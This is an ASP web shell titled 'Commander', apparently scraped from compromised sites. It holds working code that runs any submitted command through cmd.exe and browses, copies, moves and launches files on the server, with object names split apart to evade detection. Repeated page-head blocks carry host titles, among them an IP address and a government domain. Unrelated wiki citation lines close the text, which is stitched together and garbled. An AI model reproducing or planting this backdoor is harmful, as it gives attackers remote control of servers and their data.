<%response.write "Attention: Once one operation only
" %> Time:<%response.write now()%>
Physical Path:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>Commander</title>
<body bgcolor="#DDDDDD" text="#000000">
|
<form action="<%= Request.ServerVariables("URL") %>?q=p.asp" method="post"> Path: <input type=text name=text style="border:solid 1px" value="<%=DSnXA %>" size="20"> Input path to browse, the last char must be "\" |
| Copy: <input type=text name=text1 style="border:solid 1px" value="<%=DSnXA1 %>" size="20"> to <input type=text name=text2 style="border:solid 1px" value="<%=DSnXA2 %>" size="20"> Target path, no filenames |
| Move: <input type=text name=text3 style="border:solid 1px" value="<%=DSnXA3 %>" size="20"> to <input type=text name=text4 style="border:solid 1px" value="<%=DSnXA4 %>" size="20"> Target path, no filenames |
| Path: <input type=text name=text5 style="border:solid 1px" value="<%=DSnXA5 %>" size="20"> Prog: <input type=text name=text6 style="border:solid 1px" value="<%=DSnXA6 %>" size="20"> No parameters |
| <input type="text" style="border:solid 1px" name="ok" size=55> CMD Dialog |
| <input type=text style="border:solid 1px" name=pathlcx size=55> Path and filename |
|
<textarea cols=80 rows=6 name=textlcx style="border:solid 1px"> <% set oScript=Server.CreateObject("WSC"&y&"RIPT.shell") ok=Request("ok") if ok<>"" then response.write oScript.exec ("cmd.exe /c "& ok).stdout.readall %></textarea> <input type=submit name=sb value="Send Command" class=input> </form> |
<%
Response.Write request.form("cmd") & "
"
Response.Write strResult
DSnXA = Request.Form("text")
if (DSnXA <> "") then
set shell=server.createobject("she"&e&"ll.application")
set fod1=shell.namespace(DSnXA)
set foditems=fod1.items
for each co in foditems
response.write "" & co.path & "-----" & co.size & "
"
next
end if
DSnXA1 = Request.Form("text1")
DSnXA2 = Request.Form("text2")
if DSnXA1<>"" and DSnXA2<>"" then
set shell1=server.createobject("she"&e&"ll.application")
set fod1=shell1.namespace(DSnXA2)
for i=len(DSnXA1) to 1 step -1
if mid(DSnXA1,i,1)="\" then
path=left(DSnXA1,i-1) exit for
end if next if len(path)=2 then path=path & "\" path2=right(DSnXA1,len(DSnXA1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command success!" end if DSnXA3 = Request.Form("text3") DSnXA4 = Request.Form("text4") if DSnXA3<>"" and DSnXA4<>"" then set shell2=server.createobject("she"&e&"ll.application") set fod1=shell2.namespace(DSnXA4)
for i=len(DSnXA3) to 1 step -1 if mid(DSnXA3,i,1)="\" then
path=left(DSnXA3,i-1) exit for
end if next
if len(path)=2 then path=path & "\" path2=right(DSnXA3,len(DSnXA3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if DSnXA5 = Request.Form("text5") DSnXA6 = Request.Form("text6") if DSnXA5<>"" and DSnXA6<>"" then set shell3=server.createobject("she"&e&"ll.application") shell3.namespace(DSnXA5).items.item(DSnXA6).invokeverb response.write "command completed success!" end if end if %>
</body>
<% end select function Epass(pass) temppass=StrReverse(left(pass&"zxcvbnm,./",10)) templen=len(pass) mmpassword="" for j=1 to 10 mmpassword=mmpassword+chr(asc(mid(temppass,j,1))-templen+int(j*1.1)) next Epass=replace(mmpassword,"'","B") end function %>
<head>
<title>xiangmu.chinaitlab.com</title>
<script>
function GetFileContent(FileName){
parent.Load.style.display = 'block';
parent.Loaded.style.display = 'none';
ListView.location.href = '?Type=1&FileName=' + FileName;
}
function DownLoad(FileName){
ListView.location.href = '?Type=3&FileName=' + FileName;
}
function Run(cmd){
parent.Load.style.display = 'none';
parent.Loaded.style.display = 'block';
ListView.location.href = '?Type=4&ok=' + cmd;
} function hide(){ Load.style.display = 'none'; } function ChangeDir(){ if(MaoDiv.style.display=='block') { MaoDiv.style.display = 'none';} else { MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "
<input type=text name=DirName id=DirName VALUE='c:\\'> <input type=button onclick=\'javascript:if(DirName.value!=\"\"){location.href=\"?DirName=\" + DirName.value;}\' value=GO> CLOSE
";}
MaoDiv.style.posLeft = window.event.x - 100; if(MaoDiv.style.posLeft < 0){ MaoDiv.style.posLeft = 0; } MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10; } </script> <style type="text/css"> BODY,TD { FONT-SIZE: 11px; FONT-FAMILY: sans-serif,Verdana,?? background-attachment: fixed; background-repeat: repeat-y; background-position: center; } Input { font-family: "Verdana", "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; height: 18px; border-right: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-bottom: 1px solid #e6f0ff; } A:link { COLOR: #000000 } A:visited { COLOR: #000000 } A:active { COLOR: #000000 } A { COLOR: #000000; TEXT-DECORATION: none } A:hover { COLOR: #495E6E } table{ border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } .table2{ border-bottom: 0px; border-top: 0px; border-left: 0px; border-right: 0px; padding:0px } textarea { font-family: "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; background:#e6f0ff; border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } </style> </head>
<head> <title>70.84.204.18</title> <script> function GetFileContent(FileName){ parent.Load.style.display = 'block'; parent.Loaded.style.display = 'none'; ListView.location.href = '?Type=1&FileName=' + FileName; } function DownLoad(FileName){ ListView.location.href = '?Type=3&FileName=' + FileName; } function Run(cmd){ parent.Load.style.display = 'none'; parent.Loaded.style.display = 'block';
ListView.location.href = '?Type=4&ok=' + cmd;
} function hide(){ Load.style.display = 'none'; } function ChangeDir(){ if(MaoDiv.style.display=='block') { MaoDiv.style.display = 'none';} else { MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "
<input type=text name=DirName id=DirName VALUE='c:\\'> <input type=button onclick=\'javascript:if(DirName.value!=\"\"){location.href=\"?DirName=\" + DirName.value;}\' value=GO> CLOSE
";}
MaoDiv.style.posLeft = window.event.x - 100; if(MaoDiv.style.posLeft < 0){ MaoDiv.style.posLeft = 0; } MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10; } </script> <style type="text/css"> BODY,TD { FONT-SIZE: 11px; FONT-FAMILY: sans-serif,Verdana,?? background-attachment: fixed; background-repeat: repeat-y; background-position: center; } Input { font-family: "Verdana", "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; height: 18px; border-right: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-bottom: 1px solid #e6f0ff; } A:link { COLOR: #000000 } A:visited { COLOR: #000000 } A:active { COLOR: #000000 } A { COLOR: #000000; TEXT-DECORATION: none } A:hover { COLOR: #495E6E } table{ border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } .table2{ border-bottom: 0px; border-top: 0px; border-left: 0px; border-right: 0px; padding:0px } textarea { font-family: "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; background:#e6f0ff; border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } </style> </head>
<head> <title>dgsi.dg.gov.cn</title> <script> function GetFileContent(FileName){ parent.Load.style.display = 'block'; parent.Loaded.style.display = 'none'; ListView.location.href = '?Type=1&FileName=' + FileName; } function DownLoad(FileName){ ListView.location.href = '?Type=3&FileName=' + FileName; } function Run(cmd){ parent.Load.style.display = 'none'; parent.Loaded.style.display = 'block';
ListView.location.href = '?Type=4&ok=' + cmd;
} function hide(){ Load.style.display = 'none'; } function ChangeDir(){ if(MaoDiv.style.display=='block') { MaoDiv.style.display = 'none';} else { MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "
<input type=text name=DirName id=DirName VALUE='c:\\'> <input type=button onclick=\'javascript:if(DirName.value!=\"\"){location.href=\"?DirName=\" + DirName.value;}\' value=GO> CLOSE
";}
MaoDiv.style.posLeft = window.event.x - 100; if(MaoDiv.style.posLeft < 0){ MaoDiv.style.posLeft = 0; } MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10; } </script> <style type="text/css"> BODY,TD { FONT-SIZE: 11px; FONT-FAMILY: sans-serif,Verdana,?? background-attachment: fixed; background-repeat: repeat-y; background-position: center; } Input { font-family: "Verdana", "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; height: 18px; border-right: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-bottom: 1px solid #e6f0ff; } A:link { COLOR: #000000 } A:visited { COLOR: #000000 } A:active { COLOR: #000000 } A { COLOR: #000000; TEXT-DECORATION: none } A:hover { COLOR: #495E6E } table{ border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } .table2{ border-bottom: 0px; border-top: 0px; border-left: 0px; border-right: 0px; padding:0px } textarea { font-family: "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; background:#e6f0ff; border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } </style> </head>
<head> <title>70.84.204.18</title> <script> function GetFileContent(FileName){ parent.Load.style.display = 'block'; parent.Loaded.style.display = 'none'; ListView.location.href = '?Type=1&FileName=' + FileName; } function DownLoad(FileName){ ListView.location.href = '?Type=3&FileName=' + FileName; } function Run(cmd){ parent.Load.style.display = 'none'; parent.Loaded.style.display = 'block';
ListView.location.href = '?Type=4&ok=' + cmd;
} function hide(){ Load.style.display = 'none'; } function ChangeDir(){ if(MaoDiv.style.display=='block') { MaoDiv.style.display = 'none';} else { MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "
<input type=text name=DirName id=DirName VALUE='c:\\'> <input type=button onclick=\'javascript:if(DirName.value!=\"\"){location.href=\"?DirName=\" + DirName.value;}\' value=GO> CLOSE
";}
MaoDiv.style.posLeft = window.event.x - 100; if(MaoDiv.style.posLeft < 0){ MaoDiv.style.posLeft = 0; } MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10; } </script> <style type="text/css"> BODY,TD { FONT-SIZE: 11px; FONT-FAMILY: sans-serif,Verdana,?? background-attachment: fixed; background-repeat: repeat-y; background-position: center; } Input { font-family: "Verdana", "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; height: 18px; border-right: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-bottom: 1px solid #e6f0ff; } A:link { COLOR: #000000 } A:visited { COLOR: #000000 } A:active { COLOR: #000000 } A { COLOR: #000000; TEXT-DECORATION: none } A:hover { COLOR: #495E6E } table{ border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } .table2{ border-bottom: 0px; border-top: 0px; border-left: 0px; border-right: 0px; padding:0px } textarea { font-family: "Arial"; font-size: 12px; font-style: normal; line-height: normal; font-weight: normal; font-variant: normal; background:#e6f0ff; border-bottom: 1px solid #e6f0ff; border-top: 1px solid #e6f0ff; border-left: 1px solid #e6f0ff; border-right: 1px solid #e6f0ff; padding:0px } </style> </head>dddd </body></html></body></html>
- ^ First edit of the Main Page. Retrieved on 2007-07-25.
- ^ Blizzard's programming interface policy. Retrieved on 2007-07-25.